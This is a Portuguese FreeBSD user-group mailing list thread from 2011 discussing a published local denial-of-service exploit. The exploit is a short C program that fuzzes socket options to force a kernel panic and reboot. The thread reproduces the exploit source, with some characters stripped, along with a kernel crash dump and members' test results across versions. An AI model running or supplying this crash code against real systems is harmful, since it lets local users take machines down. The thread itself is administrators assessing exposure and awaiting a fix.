Re: [FUG-BR] Exploit: FreeBSD local denial of service - forced reboot

2011-01-31 Por tôpico vic
On Sat, 29 Jan 2011 14:36:46 -0200, Edson Brandi ebra...@fugspbr.org
wrote:
 Lucas,
 
 Aqui na minha maquina 8.2 pre release não aconteceu nada além de
 imprimir 3 vezes SUCCESS!.
 
 Edson Brandi
 http://blog.ebrandi.eti.br
 

A mesma coisa no 8.1-RELEASE.

-- 
vic
http://choppnerd.com
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd


Re: [FUG-BR] Exploit: FreeBSD local denial of service - forced reboot

2011-01-29 Por tôpico Edson Brandi
Lucas,

Aqui na minha maquina 8.2 pre release não aconteceu nada além de
imprimir 3 vezes SUCCESS!.

Edson Brandi
http://blog.ebrandi.eti.br

OpenPGP Key: 0xA5C45B43401FF8F3
1BAB 0B87 EE89 B8D4 B418  66D6 A5C4 5B43 401F F8F3

Em 28/01/2011 22:15, Lucas Dias escreveu:
 
 Isso acontece com o 8.2 PRE RELEASE???
 



signature.asc
Description: OpenPGP digital signature
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd


Re: [FUG-BR] Exploit: FreeBSD local denial of service - forced reboot

2011-01-29 Por tôpico Lucas Dias
Em 29 de janeiro de 2011 13:36, Edson Brandi ebra...@fugspbr.org escreveu:

 Lucas,

 Aqui na minha maquina 8.2 pre release não aconteceu nada além de
 imprimir 3 vezes SUCCESS!.

 Edson Brandi
 http://blog.ebrandi.eti.br

 OpenPGP Key: 0xA5C45B43401FF8F3
 1BAB 0B87 EE89 B8D4 B418  66D6 A5C4 5B43 401F F8F3

 Em 28/01/2011 22:15, Lucas Dias escreveu:
 
  Isso acontece com o 8.2 PRE RELEASE???
 


 -
 Histórico: http://www.fug.com.br/historico/html/freebsd/
 Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd


Que bom. Estou com meus servidores todos com 8.2 PRE Release =)

Abraços...

-- 
.:: Lucas Dias
.:: Analista de Sistemas
.:: Gerência de Redes - CETIS / UNCISAL
.:: (82) 3315-6779 / 8833-8811 / 8813-1494
.:: Antes de imprimir, veja se realmente é necessário
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd


[FUG-BR] Exploit: FreeBSD local denial of service - forced reboot

2011-01-28 Por tôpico Marcelo
Boa tarde lista,

Alguém já testou?

# Exploit Title: FreeBSD local denial of service - forced reboot
# Date: 28. January 2011
# Author: Kingcope
# Software Link: http://www.freebsd.org
# Operating System: FreeBSD
# Tested on: 8.0-RELEASE

This source code when compiled and executed
will reboot at least FreeBSD 8.0-RELEASE because of a null pointer dereference.

#include sys/types.h
#include sys/mman.h
#define PAGE_SIZE 4096
#include sys/stat.h
#include fcntl.h
#include sys/socket.h
main() {
  int k,fd,i2,i3,i4,i5,i6,i7,i8;
char *p;
 char buf[4096];

 for (i2=0;i2256;i2++) {
  for (i3=0;i32;i3++) {
  for (i4=0;i42;i4++) {
  fd = socket(i2, i3, i4);
  if (fd  0) continue;
  printf(SUCCESS!\n);
  for (i5=0;i5100;i5++) {
  for (i6=0;i6100;i6++) {
  setsockopt(fd, i5, i6, buf, 4);
  getsockopt(fd, i5, i6, buf, i7);
  }
}

The crash dump looks like the following.

Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel: Fatal trap 12: page fault while in kernel mode
Jan 28 11:33:07 r00tme kernel: cpuid = 0; apic id = 00
Jan 28 11:33:07 r00tme kernel: fault virtual address= 0xc
Jan 28 11:33:07 r00tme kernel: fault code   = supervisor
write, page not present
Jan 28 11:33:07 r00tme kernel: instruction pointer  = 0x20:0xc06143ba
Jan 28 11:33:07 r00tme kernel: stack pointer= 0x28:0xcd1fa5b4
Jan 28 11:33:07 r00tme kernel: frame pointer= 0x28:0xcd1fa85c
Jan 28 11:33:07 r00tme kernel: code segment = base 0x0,
limit 0xf, type 0x1b
Jan 28 11:33:07 r00tme kernel: = DPL 0, pres 1, def32 1, gran 1
Jan 28 11:33:07 r00tme kernel: processor eflags = interrupt enabled,
resume, IOPL = 0
Jan 28 11:33:07 r00tme kernel: current process  = 1004 (bsdcrash)
Jan 28 11:33:07 r00tme kernel: trap number  = 12
Jan 28 11:33:07 r00tme kernel: panic: page fault
Jan 28 11:33:07 r00tme kernel: cpuid = 0
Jan 28 11:33:07 r00tme kernel: Uptime: 2m48s
Jan 28 11:33:07 r00tme kernel: Cannot dump. Device not defined or unavailable.
Jan 28 11:33:07 r00tme kernel: Automatic reboot in 15 seconds - press
a key on the console to abort
Jan 28 11:33:07 r00tme kernel: Rebooting...

The cause of the crash seems to be a specific network driver. Since
the crash is forced (only?) in a VMWare virtual machine the
exploitability can be dependent on the loaded device drivers
and installed hardware.

Marcelo Vilela
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd


Re: [FUG-BR] Exploit: FreeBSD local denial of service - forced reboot

2011-01-28 Por tôpico Luiz Otavio O Souza
On Jan 28, 2011, at 6:22 PM, Marcelo wrote:

 Boa tarde lista,
 
 Alguém já testou?
 
 # Exploit Title: FreeBSD local denial of service - forced reboot
 # Date: 28. January 2011
 # Author: Kingcope
 # Software Link: http://www.freebsd.org
 # Operating System: FreeBSD
 # Tested on: 8.0-RELEASE
 
 This source code when compiled and executed
 will reboot at least FreeBSD 8.0-RELEASE because of a null pointer 
 dereference.
[snip]

hmm... eu testei e ele 'meio' que funciona mesmo no -head (ou -current).

'meio' porque o código do -head é um pouco diferente e ele não falha por null 
pointer dereference e sim dispara o seguinte KASSERT:

KASSERT(len + hdrlen + ipoptlen == m_length(m, NULL),
(%s: mbuf chain shorter than expected, __func__));

Isso em netinet/tcp_output.c

So.. yeah.. espere que logo vem correção ai...

Att.,
Luiz
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd


Re: [FUG-BR] Exploit: FreeBSD local denial of service - forced reboot

2011-01-28 Por tôpico Lucas Dias
Em 28 de janeiro de 2011 21:03, Luiz Otavio O Souza
lists...@gmail.comescreveu:

 On Jan 28, 2011, at 6:22 PM, Marcelo wrote:

  Boa tarde lista,
 
  Alguém já testou?
 
  # Exploit Title: FreeBSD local denial of service - forced reboot
  # Date: 28. January 2011
  # Author: Kingcope
  # Software Link: http://www.freebsd.org
  # Operating System: FreeBSD
  # Tested on: 8.0-RELEASE
 
  This source code when compiled and executed
  will reboot at least FreeBSD 8.0-RELEASE because of a null pointer
 dereference.
 [snip]

 hmm... eu testei e ele 'meio' que funciona mesmo no -head (ou -current).

 'meio' porque o código do -head é um pouco diferente e ele não falha por
 null pointer dereference e sim dispara o seguinte KASSERT:

KASSERT(len + hdrlen + ipoptlen == m_length(m, NULL),
(%s: mbuf chain shorter than expected, __func__));

 Isso em netinet/tcp_output.c

 So.. yeah.. espere que logo vem correção ai...

 Att.,
 Luiz
 -
 Histórico: http://www.fug.com.br/historico/html/freebsd/
 Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd


Isso acontece com o 8.2 PRE RELEASE???

-- 
.:: Lucas Dias
.:: Analista de Sistemas
.:: Gerência de Redes - CETIS / UNCISAL
.:: (82) 3315-6779 / 8833-8811 / 8813-1494
.:: Antes de imprimir, veja se realmente é necessário
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd